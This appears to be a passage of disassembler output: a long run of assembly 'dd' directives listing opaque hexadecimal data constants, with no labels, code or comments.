		dd 2944E4C0h, 2674DDE9h, 0A0353E80h, 10689067h,	619AFD7h
		dd 485AB04Bh, 0DFFE3948h, 3C1834B6h, 0C0F3A634h, 1FE34CC1h
		dd 7EE03184h, 58850553h, 0FA325401h, 2BECB040h,	0B7630901h
		dd 642A4815h, 310DC7DCh, 10288FFEh, 77CB1E0h, 738485DAh
		dd 0D66E61FCh, 0D55034C7h, 8069BF2Ah, 0D4C89848h, 1DF2348h
		dd 0DB35A27Ah, 8845180Eh, 0A2007220h, 0FC15386Bh, 48A85023h
		dd 0E86784DDh, 0D5D82DFFh, 23282257h, 8107017Fh, 18F4FAC9h
		dd 0F268876h, 3DD8104h,	14D1C97Bh, 6AC0A6EDh, 0F8F3058Eh
		dd 70DF8B30h, 0E3077084h, 0E98D300h, 0BDB1D1F8h, 805499DDh
		dd 73D2B244h, 0F2072EAAh, 5C9315D3h, 97AFF331h,	157B06DCh
		dd 986FE2C5h, 7E058782h, 4B513F14h, 0E21E59E1h,	0DA8C5162h
		dd 55BDD0DEh, 5CE9B712h, 3B1BFC21h, 80307B01h, 0A43D4AD1h
		dd 26DDC18Bh, 27C851h, 0F499CEDEh, 0D2904846h, 0E0887F54h
		dd 8317DD00h, 5D785F37h, 420300D0h, 6CBD163Bh, 26E16A9Ah
		dd 0E81428F8h, 7B02DC46h, 76DB0AA2h, 23104F31h,	103A273h
		dd 5AE02BA1h, 0A8484034h, 0F7F41FE5h, 42845DF8h, 326F696Dh
		dd 0D4049CECh, 0DB4B0BA0h, 3203B62h, 0BCA0DCh, 35D33928h
		dd 43AEE5A6h, 20883051h, 7D44E1B4h, 9B5A0894h, 0BDC21E21h
		dd 0FA00C02Bh, 0EA12156Dh, 0F00BC63h, 0E4789D0Bh, 0CE1B3C31h
		dd 0DE0821ECh, 332D0021h, 0DBC7B29Dh, 0FA008206h, 0EDA363BAh
		dd 9DDA293h, 0FEDA5BF2h, 0C2C31C82h, 0A6F5D501h, 19050C33h
		dd 20306F68h, 5A0CA78h,	11CB4B23h, 0D201003Eh, 0A84BC9A0h
		dd 0C9C66h, 4D96E05h, 0B71AD5E4h, 0B0D842F9h, 60E86FCCh
		dd 0ACABB91Ch, 0AF00B4ECh, 0D08B0977h, 0B1306EEh, 9EE4EB6Ah
		dd 0EC40A432h, 51C05B88h, 0D9BF2DBDh, 1F3C9148h, 0B7D93013h
		dd 7C99400Dh, 0C1851D40h, 4D87372h, 0B4F169C7h,	71D882A8h
		dd 11810530h, 8804FACBh, 0D208077h, 79A47C81h, 8051820Eh
		dd 3C707331h, 877BA1B7h, 6580D611h, 46DB0CA2h, 19587094h
		dd 0DCA2007Dh, 2A6596ADh, 0C163B73Bh, 7B44F1h, 0AE9A1D91h
		dd 5C79BBA1h, 266DFB13h, 73D8BC19h, 81080B18h, 7014FAD5h
		dd 81091322h, 82BFBB73h, 535E68h, 6B45AB07h, 0F03409Bh
		dd 0D8FB6F9Ah, 90D613C4h, 233461Ch, 4B0AA0D5h, 172731D3h
		dd 22A0DD00h, 5BF400F8h, 0B0DA76AAh, 0EF16792Ch, 0D02938B7h
		dd 4A88640Ah, 475944C0h, 29B82EC3h, 65A50A4Ch, 181053C8h
		dd 0E41E7E19h, 50C150FEh, 0CFF09BC0h, 4F292761h, 5045848h
		dd 0CA37FFB6h, 782302C0h, 0C905E3A7h, 7A08EF98h, 400BD73Bh
		dd 99C3096Ah, 0F0049B72h, 9D08600Dh, 9E42379h, 0F0581411h
		dd 6A979D00h, 0DB8CE19Eh, 77CFFA0Bh, 1324A439h,	197B5A40h
		dd 0E30EFE51h, 0C3998E4Fh, 8857C537h, 2BFB857Ah, 0B0CA82h
		dd 0B20C9BE2h, 54BB1C7Ch, 74D18C29h, 0C6127518h, 0D0095AF3h
		dd 0DB14907Bh, 3FF13F84h, 289416h, 503081CBh, 0CB1FFCDFh
		dd 7E14B4E9h, 40C039B4h, 597D6144h, 0F052BE57h,	9BE00F5Ah
		dd 0FBD5CB00h, 16761C1Fh, 510D0127h, 0A507739Dh, 2902DDF3h
		dd 446A9E8Ch, 948DCF03h, 88CA9169h, 730FA19h, 68D3E1FFh
		dd 5DC780C1h, 6A05038Fh, 82EE3B86h, 902384DDh, 0A53039A2h
		dd 7B263A29h, 37C64601h, 34C5B733h, 0D5CCF10h, 60151054h
		dd 9BF69A04h, 2B0300C9h, 0A15D5EA8h, 146602C8h,	38B9B041h
		dd 444B45A0h, 61789C40h, 1E13096Ch, 406A5F4Ch, 12679D82h
		dd 0F11C9ABAh, 978192A4h, 6283DFFAh, 3F886C4Eh,	0C69CFEC0h
		dd 429300F8h, 0C865ECA8h, 51136D61h, 0F490924Eh, 82D903E6h
		dd 4B44D467h, 1A7D0067h, 0AD06B077h, 0DF7CD672h, 62605C21h
		dd 9FDB6205h, 8FAC97CDh, 5443FE80h, 0D8D82920h,	831DEFE8h
		dd 599E91F8h, 79047C92h, 4B0B917h, 319678C1h, 71E23833h
		dd 41B6630h, 0A691B661h, 0DF20E448h, 0E4433F40h, 870E1F14h
		dd 4BCE0601h, 0B5EC183Ah, 28B69C7Bh, 8A30DF08h,	80A019EBh
		dd 0AC17378Bh, 5B1FA9C9h, 0E945B2ABh, 0B0B3D982h, 1F645DE1h
		dd 2E645D84h, 0D5B89A04h, 0DF70DB82h, 65FC9901h, 0C870432Bh
		dd 45BE2480h, 0C026C7E8h, 621330A1h, 23AF27h, 94AC6AF4h
		dd 0ECB10998h, 70B193A6h, 159C2695h, 0DC7044h, 0E9AE1D6Eh
		dd 156851Fh, 0E6905B79h, 0F1A3E5EDh, 2449D9FAh,	7C05A1B4h
		dd 72EF23C5h, 1381492h,	32E63509h, 10004CF4h, 65246D03h
		dd 0C5A03D7Ch, 0ED7B3B7Dh, 6DA680C7h, 88483A38h, 8C49E8h
		dd 0A925CBEh, 0D489D507h, 0C843A496h, 89F88DAh,	0C33502F0h
		dd 5B4D87D5h, 0AFFECE00h, 9848B0A0h, 6AAE1250h,	3D900909h
		dd 0A0D7FC30h, 234B0813h, 1F026838h, 40F4A0DFh,	3B3526A4h
		dd 0F494E383h, 221C040h, 4BDF24C7h, 432E0079h, 5C9352A7h
		dd 0EC13A798h, 0F405BD6Fh, 0BC8860DCh, 28413Fh,	5A6C8DD4h
		dd 0E00977F8h, 461CEE8h, 0B059088Ch, 9C81836h, 0FB4B07A0h
		dd 0F87C845h, 0CFB0A0D0h, 1DA70A3Ah, 8057AAE8h,	0DFA42F97h
		dd 7B186F1Ch, 0EB31C35Eh
		dd 489212h, 7AC95D94h, 0FAF64570h, 5D96100h, 0A2A1B0BFh
		dd 7BDD0491h, 8164EBE0h, 10602BC4h, 0AB12E61Eh,	52EAA2C8h
		dd 91521C74h, 0BF9A8057h, 52F3417h, 3F23FA00h, 45EE047Ch
		dd 3C249266h, 0BE04141Eh, 837B0AE8h, 65E22EC8h,	40E03501h
		dd 8DF82981h, 21A6A841h, 22BC2274h, 3BAEA113h, 0B99D424h
		dd 5943B04Fh, 3C802CEAh, 0C16581D3h, 3485F92Ch,	124D2608h
		dd 1EC40197h, 82CF0CE1h, 0D1873530h, 0E6604863h, 32F096A7h
		dd 0C05B6D89h, 86306671h, 0C0B21DECh, 0D4AE05FCh, 797448D9h
		dd 5C8000A8h, 562D9849h, 0DE8384Fh, 6BAC381Eh, 7C08E183h
		dd 66C11FEEh, 50433C2h,	12CFC75Ah, 583D24B7h, 43385B96h
		dd 4D9A5C10h, 1677A900h, 5506D06Ch, 9DC400E6h, 3E713074h
		dd 7604EA42h, 5B225DDh,	0B31774BDh, 136C8250h, 4ED97CD1h
		dd 0E805AC18h, 0C3E605FBh, 2A0DA0A0h, 0DC61EBh,	0F5FCEEE5h
		dd 43936C96h, 0C9E6761Dh, 0DFFEDB41h, 0C8833C17h, 3592884Bh
		dd 7B3DE00Ah, 8E83A0CAh, 9A3C476Ch, 98F0D06Eh, 0C45A4992h
		dd 10CF407Dh, 0C692CCA0h, 0E6998704h, 0FE00D053h, 10A55898h
		dd 3DD1C491h, 3C75C618h, 87DB111Ch, 6EC882EFh, 74872F6h
		dd 75548CA1h, 9AB09142h, 0E0C08251h, 0C06B369Ch, 0A9EF6ACCh
		dd 8EDEC584h, 0F8119EB0h, 71ECE028h, 0F8C86E72h, 8939BC47h
		dd 254310C9h, 3D283730h, 0BC648B05h, 948466A4h,	0C86B6914h
		dd 980D202Ah, 249E0C98h, 49465Eh, 0D4CE4C60h, 0F973A77Ah
		dd 0E2A8D850h, 0EC40823Bh, 0BD7229F2h, 5FDD7C80h, 8B9C17A0h
		dd 0C026C8E4h, 8D35368Ch, 72A98202h, 50B677FFh,	6A232C6Ch
		dd 90EA1608h, 98AE21Ch,	3E47B000h, 7603C437h, 542F00C5h
		dd 0AFD082B2h, 7D26679Bh, 0C9400044h, 1462F56Bh, 0E87B3E5Dh
		dd 9CC0A314h, 23E82F5Eh, 7E3E44h, 0BAF117D1h, 7B82DAB7h
		dd 3580D254h, 384BE14Bh, 3A88E885h, 0E86A01A9h,	0A21EE779h
		dd 41BBD072h, 5F1F8F76h, 0B5416873h, 0D5E60801h, 2F497C48h
		dd 0BC0BEE90h, 88A0CC0Bh, 4D66B0CBh, 3CA40894h,	2D082A15h
		dd 110C1768h, 93458039h, 1B86BEFh, 0DB7C5EE6h, 29624DB7h
		dd 0B66F025Ch, 80546691h, 82A8C934h, 463CA43Fh,	0A0097534h
		dd 0C5EB4B01h, 0D60D80B4h, 0F3DF3FA0h, 0FC24F600h, 17A3C068h
		dd 9ECE73E4h, 69640198h, 50599A6Fh, 6CEC6EA8h, 0A0ED200h
		dd 53DFFA43h, 129C991Ah, 0ACF48146h, 602FFDBDh,	0F6909D3Ch
		dd 31A7DB09h, 37EC107Dh, 9FE28333h, 0E201545Ah,	0E0326195h
		dd 70AC6336h, 24933BF4h, 0BC480E7Ch, 92885B6Ah,	0A208C13h
		dd 0E47B9D08h, 4316C439h, 0BF9D322Ch, 0EC560829h, 8148F608h
		dd 0F2E04B93h, 43A4483Bh, 0B2EA4C0Fh, 6C1038DFh, 4C63909Ah
		dd 0DB1384C2h, 1EE02023h, 0E88B5CE2h, 0D04C6C9Bh, 0B314A018h
		dd 0C1041427h, 0C1F4A2ABh, 1D93F98h, 0C891736Fh, 9D0C8709h
		dd 0D1E9E4F2h, 342660E4h, 1A001C9Dh, 99B6B5A1h,	0C4234779h
		dd 1CC05398h, 4EB89B00h, 30DC44AFh, 38A1529Ah, 0C100885Ch
		dd 548211Eh, 15DB83h, 8C9FA81Bh, 0D49B3E9Ch, 908C024Dh
		dd 33EEE9B4h, 7F4D6C01h, 8020CF49h, 0B3803C78h,	12AE787h
		dd 0A1C18903h, 0F04C31EAh, 235FC29h, 0F21C43B9h, 444E3F9h
		dd 0F88060E4h, 0D33F4AA7h, 0A59FB194h, 88CCB0C8h, 100CE524h
		dd 0CCC8708h, 59397244h, 0DE9E730Eh, 2B902046h,	2EBA4C34h
		dd 9534B43h, 0E0858969h, 2A3482E5h, 0CCCFD891h,	0F6043AFh
		dd 0A981370h, 20B49C3Dh, 90494A90h, 1747E6B8h, 594FDB80h
		dd 7424000Ch, 4588281Ch, 80A8B84Ah, 6210AE47h, 3DEFACC1h
		dd 5EA01E21h, 9F5B6D09h, 24902EF5h, 0E8CE5C1Bh,	0C8C13B88h
		dd 3CCC5E92h, 0F91E184Fh, 0B6516154h, 18CC2A95h, 892B8308h
		dd 9C909935h, 0E488529Ah, 0BCC300D3h, 1AD41541h, 30001F1Bh
		dd 422C9B3Ah, 1EA24AA5h, 42032DB1h, 0DF9D12Bh, 0A6738CC1h
		dd 8D08E459h, 0B0DF1F7Ch, 5CCAA954h, 42C6348h, 4B5187D5h
		dd 0E0C4348Dh, 0B43250F6h, 0C3FA000Bh, 0E53A9CECh, 0B0B37F87h
		dd 41B2EF0Eh, 460691C5h, 20D830A0h, 2B0805C7h, 948BE88h
		dd 0B4A3D49Ah, 0BCBA82D5h, 477CF45Ch, 17B3F2B3h, 83CFF884h
		dd 382014B1h, 0B180C0B4h, 0A84F9992h, 729C8995h, 40474E90h
		dd 0D82A3F54h, 330FF1D0h, 227F5773h, 40E2EFE4h,	1E11C9E7h
		dd 0C10D4Ch, 0BC89891h,	53028551h, 40EDA805h, 41AC82BFh
		dd 1E6CE75Ah, 0CE8B0CE5h, 0FE3EF810h, 0C5A0824Bh, 543B86B1h
		dd 5C8CEFECh, 0D442BE8h, 71BB2EE1h, 0C9A0ACB8h,	37A70082h
		dd 0F0825500h, 0FAD52678h, 0C5E70890h, 5318101Dh, 0B06E4760h
		dd 0E26C01C8h, 655F5B55h, 1AAAF3A4h, 87D04A09h,	1C883208h
		dd 0DD19B146h, 5A10E0DAh, 0C2E18D16h, 5A62D449h, 3FC71058h
		dd 579F0017h, 6BB6A7EDh, 91D8967Ah, 80945C2Dh, 90E5356Eh
		dd 0B2643EE8h, 2C15661Fh, 3E4676C0h, 984B2D03h,	985050CEh
		dd 1A455B24h, 0C96380BEh, 39003278h, 3650AA2h, 1E66D9F5h
		dd 424BCAD1h, 2D58CBD8h, 4FA9AC40h, 0DF84EC9Ch,	6C006A7Ch
		dd 90B48CECh, 0DD22DC7Ah, 0B02B0BCCh, 802E63DEh, 0E07CC898h
		dd 49EB3144h, 66003C1Eh, 0A9AC6790h, 0B40E730Fh, 0C4495B8Fh
		dd 0B8A19EC4h, 10B8EC38h, 50C6268Ch, 276589E4h,	6479B082h
		dd 0A75ACF01h, 0EC2410E9h, 3A1220A8h, 85FE0204h, 0BCC27DB0h
		dd 13772FEFh, 73D0202Ch, 4E00BCBFh, 9E0D3C87h, 1FB4943Bh
		dd 1234D108h, 3F9F1F9Dh, 0EF1D74B9h, 7350020h, 61F8CE3Dh
		dd 59C8A603h, 30B89E0Bh, 5F213A08h, 8200F8C6h, 108F03D9h
		dd 0EB7A889h, 0EEDA4663h, 485D0400h, 74011D07h,	9C3E7942h
		dd 80C8DD0Fh, 5A7D55h, 38B0E5BEh, 0A80A41DFh, 144F0900h
		dd 6947A24h, 60FD0AB3h,	9C24230Eh, 88A240F0h, 9308FE2Bh
		dd 0D6DE6D0Bh, 42980162h, 0AAD44EC7h, 0F6C600F9h, 79F7A26h
		dd 39605C6Eh, 0E0605541h, 53BE03CDh, 4BB67841h,	21C00873h
		dd 0AAE05876h, 5A51BC2h, 0CE3E87Bh, 0CA512788h,	0B1160A3Eh
		dd 4A5D198Dh, 0E20E3982h, 0F2C0424Eh, 9C38C9F9h, 791A07E0h
		dd 84E0129Eh, 1532B152h, 0A02AEF90h, 40F7201Fh,	5AECD89Dh
		dd 6700D51Fh, 0D3D69B72h, 0C028EF85h, 5FC5F029h, 25050D50h
		dd 88D4CF0Ch, 0D9D22DC1h, 523A530h, 329C34CDh, 0DCF00083h
		dd 5C671C99h, 22BAFD1Eh, 0F97E54h, 102512A2h, 18BEC723h
		dd 30850AA4h, 0C002C47Ch, 512A1D01h, 39C8FF7h, 18760A94h
		dd 0F17D0620h, 580084C7h, 0C0BC2A0Bh, 77CB738Ch, 3B7B03C4h
		dd 5BCDB292h, 0CAFF9006h, 8181D68h, 57E1A290h, 4C079037h
		dd 158091C8h, 1A4465Dh,	15A05E35h, 41D4094Fh, 0E4400BEh
		dd 0A848CE47h, 0F02A8592h, 0E5008C2Fh, 0AA273B08h, 3DBE904Ch
		dd 778FCDD3h, 0D720840Eh, 8C36FB40h, 55749E20h,	1888701Ch
		dd 0A8977EAh, 953C21F3h, 61802EF0h, 0B7C531F9h,	72004CDCh
		dd 7F609712h, 352DDD9h,	0CB2F11E2h, 0B9001A1Dh,	34FE67B3h
		dd 0C07CE3B1h, 33DF3AAAh, 9900F6D8h, 4F25ABA4h,	0A7E6291h
		dd 2064CA9Dh, 40A34590h, 5D35DE84h, 0B8A87805h,	0CA009394h
		dd 2BA9FD7Bh, 0CC79F521h, 0BA218B08h, 0CC00CAEAh, 207EE51Ah
		dd 0C128B709h, 88CC2C8h, 30EC2164h, 900A869Ah, 0C44EA9B2h
		dd 10EB7309h, 0A61D030Ch, 121E3080h, 2EAD30D1h,	5201500Eh
		dd 2A064054h, 698CBF6Bh, 18045944h, 0F8CC6085h,	0B8A6235Fh
		dd 405D443Fh, 610076C4h
		dd 2A7D4152h, 37DA929Eh, 4C9846D5h, 6340FBB8h, 0C71118A6h
		dd 71859813h, 0ACC61D36h, 77270EA1h, 433F9037h,	61883998h
		dd 211B0830h, 0A376F49h, 8FD306C0h, 204CA8B0h, 3090475Ch
		dd 87433120h, 608F44BCh, 197D319h, 949B1A81h, 0E731A61Bh
		dd 0BE14B0BEh, 0C894488Ch, 0F8CDC086h, 0C046A660h, 20B03122h
		dd 2CB1F804h, 94820933h, 0F2FF206Dh, 0C0CA1F3Ch, 0F1F9057h
		dd 54E49060h, 8C8C3838h, 66F8D304h, 3662F0A6h, 0F8CB6420h
		dd 0F5B91DB0h, 46C2E7Dh, 8C779EE6h, 2A00B3CCh, 914120B2h
		dd 1096F3h, 8148F2A7h, 3569C8E2h, 0C8DA9C3Bh, 6FA812A8h
		dd 0A0421407h, 465E488Ah, 0A4730B33h, 0F65C044Eh, 0E2EC0852h
		dd 5F606D64h, 0BE23CCE0h, 4C114Bh, 51E05775h, 498B006h
		dd 929436C4h, 40CCA93h,	79A29CC0h, 93312001h, 0A0340217h
		dd 0B780DC70h, 2E5B0265h, 8491C28Fh, 40D1F88Fh,	2D4887CCh
		dd 63D984C4h, 72B2C07h,	3BFE4357h, 0C4C09905h, 4460878Ah
		dd 9B94FCB5h, 468028B0h, 37087BCAh, 0C4919094h,	734D401Fh
		dd 1BC6837h, 851464Fh, 2056B5A2h, 0FF06F478h, 58F9A607h
		dd 0B9D1871h, 1692381Eh, 0BABB0213h, 90EF1049h,	899188h
		dd 955128FBh, 4BBF2C0Fh, 85D07901h, 82C860A1h, 18305C60h
		dd 685DB9DAh, 0BE75BB01h, 0F2607E52h, 0DDD73023h, 0E0C7AC00h
		dd 0F1A5E94h, 31A80B5Ah, 14A00BDBh, 602D8357h, 10E4AA4Ch
		dd 0E440207Fh, 0A27D4036h, 8C45340Dh, 6A20C923h, 280961EBh
		dd 74A9C4B5h, 83181D80h, 888117BAh, 0B47102E6h,	245D8CAAh
		dd 40EF2C69h, 8A9B17EDh, 40EDDA1Bh, 8C44E0E8h, 0A861C14Dh
		dd 155B01h, 0F953C4B8h,	4A45B908h, 30C58802h, 8F113776h
		dd 1C886990h, 376E4887h, 8482A3B4h, 40DCA085h, 0B27F2A94h
		dd 4A1020D4h, 9CC16C06h, 201995EAh, 8328358Ah, 6D0238B6h
		dd 8CC372A8h, 9E5C4858h, 0F41FEE3Eh, 6D853CBAh,	0F050650Ch
		dd 0E688E870h, 7C75FA2Bh, 3BE1A1C2h, 8B10844Ah,	0DB098272h
		dd 0E1D0318h, 0B2FD7900h, 0ECC37115h, 0C4C11272h, 76804932h
		dd 32E01804h, 377A30C9h, 89909313h, 0D230F839h,	98176C37h
		dd 3D0E8481h, 0C0199E7Ah, 0EFDA7724h, 3129601Eh, 47A9AA90h
		dd 0C9115491h, 4122EF18h, 0A3033E48h, 0B6DAB5A5h, 9563B0F9h
		dd 0CEF70088h, 0C465BB05h, 8230945Eh, 311EC086h, 0FC1548E3h
		dd 44662E84h, 0F8914201h, 44228844h, 9C2F8C66h,	0C49A7098h
		dd 0D211D76Eh, 0F9BF4420h, 9AD6005Dh, 5CD231A0h, 0B40055C4h
		dd 4AC3D4C0h, 0A47AAA16h, 20D2FDF0h, 4638A061h,	0FD66D02h
		dd 0C0DD928Ah, 0A43DD880h, 504122DCh, 6010AA32h, 35D8A06Bh
		dd 62C4367Bh, 92C3888h,	7404E0A9h, 0AA9CD09Ah, 0B440F611h
		dd 78DA1234h, 527802CCh, 0E8003C85h, 0A770574Ch, 0B1E58820h
		dd 0F6C09BC0h, 46F098BAh, 0E0620270h, 3163BECFh, 5A901750h
		dd 0FE8E0h, 0D52A2281h,	0EC83A9E4h, 0A8D226h, 0F5EDBE01h
		dd 6C3442F2h, 0D98F0176h, 21A11696h, 0CB489E36h, 2708B8ACh
		dd 0E4C41426h, 6D480D22h, 0F181014h, 0D81C5714h, 29CBB8C0h
		dd 0D428BB3Ah, 4B02B026h, 0AA4DC385h, 0A4B8E0B3h, 8B7C9422h
		dd 0C4A16ED7h, 58F59206h, 0CC93482Ch, 0C88C7834h, 0AFD4A057h
		dd 25498412h, 39F2899Ch, 0E0205768h, 8502E546h,	36157CE0h
		dd 17F4F781h, 0A0844405h, 0DABE1C1Ch, 0A7EAEECFh, 3A7037B8h
		dd 3057F0E2h, 0D8298706h, 0B73E8CE4h, 0E52300DEh, 9C087481h
		dd 144700FEh, 6089EF2Eh, 390B4E9Eh, 2B17913h, 37A6EA0h
		dd 49008606h, 8C762BF0h, 4F5EC2h, 0B848D8DEh, 6A9BD464h
		dd 5AB4770Bh, 674C2406h, 253CA482h, 50A8585Eh, 2D1DF77Eh
		dd 991A2C0Ch, 4410C721h, 0F8A3634Fh, 0B1F18Eh, 5E9ED25Ah
		dd 0DB556631h, 0BE8CFC13h, 8A91545Ah, 0D408A850h, 441262Dh
		dd 0E3F7A4F9h, 314AB23Ch, 0C5F0CC12h, 3FA861C0h, 9896C4B9h
		dd 102099F0h, 0A86BD375h, 9071380Fh, 0C1897F1Eh, 48025649h
		dd 405A260Eh, 901D5A46h, 91FDC8CAh, 88B770h, 0D3BBDCAh
		dd 0F6F58315h, 0BC7C6B24h, 0B806D006h, 495D3029h, 0E45030E9h
		dd 0BEB7EA3Dh, 8A658059h, 6BC48556h, 75BB09EEh,	60026732h
		dd 4C40D83h, 7C02CB46h,	99909537h, 4E132131h, 0E223798h
		dd 0DCEE890Fh, 0EBF4CE63h, 0E47885CDh, 303AD052h, 9C3E4D23h
		dd 870017A7h, 596E1B6h,	0C847493Fh, 0DAA216C7h,	44117Ch
		dd 0C67BB3E7h, 12F1B36h, 459CAC9Bh, 84AF6102h, 27076C40h
		dd 4194A144h, 0CDF0FDFFh, 6005D024h, 63D01983h,	79009113h
		dd 0B2B1D2F5h, 0E851C53h, 0CAC13A5Dh, 7C83C343h, 870B0CC1h
		dd 52A43E80h, 34D04029h, 9850FB1Fh, 0E19683B8h,	38818D7h
		dd 267CC921h, 3CF2F709h, 770002Eh, 61858D91h, 0DBEE405Ah
		dd 0A2900024h, 0A45459F1h, 0CAC7D301h, 0EC063B7Dh, 34B08DCFh
		dd 0EA46A922h, 0C76D141Eh, 0B6E320EDh, 743A65FCh, 0DD001E23h
		dd 95C66DB0h, 0EE140387h, 0D616BE44h, 732391A1h, 407B3A50h
		dd 4882E9Bh, 67C2C16h, 0E8E28F43h, 0F08D22h, 9636C807h
		dd 0EABF5B12h, 0D0836628h, 0EC5C6F2Ch, 80020712h, 40C46E14h
		dd 449D16A4h, 0C0166975h, 801F87EFh, 2030C5FEh,	662940A3h
		dd 9E8EBC15h, 0BB4501D0h, 37F92CC7h, 0DE24142Dh, 3681160h
		dd 0CE7DC69Bh, 3CC81D9Fh, 5B9E00A0h, 8B47F949h,	9694BE1Ch
		dd 0E0C0ACA5h, 789C02DFh, 3B31D290h, 0B0817C72h, 87818C7h
		dd 79909137h, 4A4020C4h, 0A0A93770h, 8F56EB01h,	871126ADh
		dd 9060D438h, 30182D83h, 44053CB3h, 0A4442990h,	80B5FB2Ch
		dd 59A48AF1h, 33FF02D8h, 0AC601E71h, 0C8346DCh,	0DB68310h
		dd 0DA199229h, 36C14D7Dh, 844BD840h, 0FD85501Ah, 0D81D6416h
		dd 8D64D857h, 8958C309h, 3AF9F544h, 2C2F03Eh, 0C0C35040h
		dd 0FD39373h, 0CF3EA7BCh, 0EE9E363h, 92572500h,	0FE2D4DE7h
		dd 9B150023h, 0E2D1D925h, 0BD0783F2h, 6070B79h,	1F840F01h
		dd 0B5893783h, 1A12293Dh, 0A103F88Bh, 0C609F090h, 1061201Ch
		dd 192FE928h, 142DBD10h, 4E662E64h, 0E856036Ah,	20290E03h
		dd 8945C35Eh, 166A2274h, 0C3564620h, 2BAB0061h,	0BF3F7BBAh
		dd 0F115026h, 0FC030185h, 12D98D89h, 53016E7Eh,	0FF5FFEB6h
		dd 798033B5h, 0A4CCC281h, 95F85EEAh, 53481F54h,	0C35B398Ch
		dd 885C8911h, 53438019h, 49EC7AC3h, 668D248h, 0C0DBD29h
		dd 0C885797Ch, 1BB159Ah, 0BD8BD3B7h, 915202ADh,	0FCB92089h
		dd 0D1E7A75h, 85CCFE8Bh, 60E99537h, 0AF9C2514h,	84004C0Dh
		dd 0EF014F03h, 3E290271h, 33037494h, 5BB98AB4h,	6937EA2Ah
		dd 591C5146h, 4C8988C3h, 414017C4h, 7320C351h, 0E7CA5628h
		dd 0F807970h, 2702628Ch, 9C83CF8Bh, 1C012C25h, 0D1C7DA81h
		dd 7B42589Bh, 1088101Ch, 90BE0DD2h, 339884D6h, 0A0B4D100h
		dd 0CB8BC974h, 0BD0B0C5Fh, 6A5408F9h, 0BF66100Fh, 462C52C3h
		dd 0D9378A35h, 0EA28D180h, 0E4A580B0h, 6225E3F5h, 1277B90Ah
		dd 281E019Dh, 0E3A0505Ch, 59811DF9h, 558823E3h,	44C35D0Eh
		dd 18626C89h, 0C3554520h, 0AE4E00DAh, 0B966873Dh, 0F5492E99h
		dd 89608054h, 0D2238195h, 0C190BE68h, 41678Dh, 376DADF8h
		dd 5E826ED2h, 0E5712800h, 0EF1E981h, 5A2B1472h,	0A075D461h
		dd 20B50128h, 0F3D0D29h, 38D35280h, 31614489h, 770D11E9h
		dd 0D8CCF820h, 0C0004372h, 815B0824h, 2954AF8Dh, 3EF8720Bh
		dd 5223C9D3h, 44C35A0Eh
		dd 1A625489h, 0C3524220h, 0B76D1D2Dh, 679482A3h, 824CF58Ah
		dd 8B059EC8h, 0CFD17B9h, 0FC576A3Ch, 5A838B8Fh,	0A27A1453h
		dd 6187301Bh, 59310C0Fh, 0A2B42E0Bh, 682BF595h,	6A51BD73h
		dd 0CDAF0C1Ah, 890CDDA4h, 19239519h, 5F1857BBh,	8923C372h
		dd 1C117Ch, 0D8C35747h,	941BCD5h, 0E76F3EC7h, 22D119A5h
		dd 0F2906B1h, 471F4A70h, 9D7988EFh, 802F32E9h, 6090A7E1h
		dd 0FF04A832h, 69A9BE38h, 0EC8BE098h, 5B1B4D39h, 7EE8238Ah
		dd 73181546h, 1DB15611h, 8B464383h, 6B301AA2h, 916E3813h
		dd 3145AD02h, 9F68398Dh, 0D88B8068h, 0C929BDB5h, 3498036Bh
		dd 9C00BF54h, 4DAD58DFh, 30D580EBh, 0F8C590Ah, 0B38B0681h
		dd 7C0B7082h, 0B6D11866h, 0C9BF2752h, 8E1D6868h, 0BCD7283Ch
		dd 2476AF42h, 430322CDh, 8EB5112Dh, 0C01AC827h,	4E175D23h
		dd 0A1156102h, 82FFF883h, 0A0496C8h, 0EE103F0h,	7A114839h
		dd 850D2871h, 4292FB1Dh, 1846848Bh, 0E21BD10h, 20A65926h
		dd 0D7024014h, 0F8A6034Ch, 364C8C14h, 541A095Dh, 9F4C0174h
		dd 0C7C25AF5h, 601844EEh, 9C6DD09h, 0D0FF2FB9h,	8C5BC02h
		dd 0F236C064h, 0C81C5CEFh, 58C55060h, 182388CEh, 0C2ACD600h
		dd 2A23A18Bh, 0F0D541BDh, 0E2813DC0h, 4CFB4A0Ah, 5CCD1292h
		dd 9750CF8h, 11443512h,	2D195C74h, 0D8B83863h, 85B443DDh
		dd 0AF3F1F7Dh, 0B3AD289Dh, 5BD3FF0Ah, 17C42258h, 0AFF12010h
		dd 873019AAh, 0E995268Fh, 0B5A34086h, 0A14D7E19h, 14929410h
		dd 506D2D79h, 6838CF59h, 0BAE0763Fh, 0D099C70Ah, 0E80CA210h
		dd 37390Ah, 73ADCEAAh, 297592CDh, 8D23050Bh, 8E812981h
		dd 1FDE4D0h, 9512C450h,	0F87D496Dh, 0BE1D1D89h,	1C851511h
		dd 35F60422h, 2711130h,	0BA69B8FEh, 908F8989h, 0F395238Ch
		dd 36686364h, 16D801FFh, 3381A97Eh, 9BAC11D9h, 1038591Fh
		dd 7D08B66h, 0D635CA81h, 4AB8BF6h, 19919E1Fh, 128D1896h
		dd 0E92AF965h, 0C85D352Dh, 0F8124D22h, 4E4B07B9h, 711DA68Dh
		dd 3050B7BCh, 0F95DF158h, 303329FDh, 5F1815D9h,	103A695Ch
		dd 1F5909B5h, 0BAC68082h, 8B22CCCEh, 667E04h, 85C780C0h
		dd 6072E59h, 0FA41A184h, 843BC446h, 19020C4h, 8042E948h
		dd 49183CD7h, 0AEBF0596h, 5844D1Ch, 88F3159Bh, 1D49A1B9h
		dd 1BE2C013h, 965FB2Ah,	16AF850h, 0D34CE2A2h, 32A091CCh
		dd 180049Dh, 32712885h,	0F52F4473h, 2AA119A4h, 367925BDh
		dd 0EF606199h, 0ED427147h, 4C4346D6h, 2D10CB51h, 3F5F2429h
		dd 0A7143A59h, 0E8B54C9Eh, 0FC028C19h, 0BD70EE92h, 9B9C07Bh
		dd 85318010h, 0E90DD163h, 6B354A32h, 381823BFh,	4C954381h
		dd 498C0F2Ch, 89AD03F2h, 8491584h, 0C0614DF2h, 859D8B60h
		dd 5767279Ah, 2E686D34h, 896AEA55h, 3832D2BAh, 0C2CAB604h
		dd 0A2F0276h, 0ABABD8CBh, 5016F0h, 45DA41B9h, 801B2CBEh
		dd 9265D132h, 0C1602527h, 61F49B0h, 0AE53296h, 41B5610Ch
		dd 42801B11h, 637ECBD2h, 564EB212h, 24813664h, 0DBEBF68Ch
		dd 687E88BAh, 8074C44Ah, 0A6560AFBh, 1B03D108h,	189A3E59h
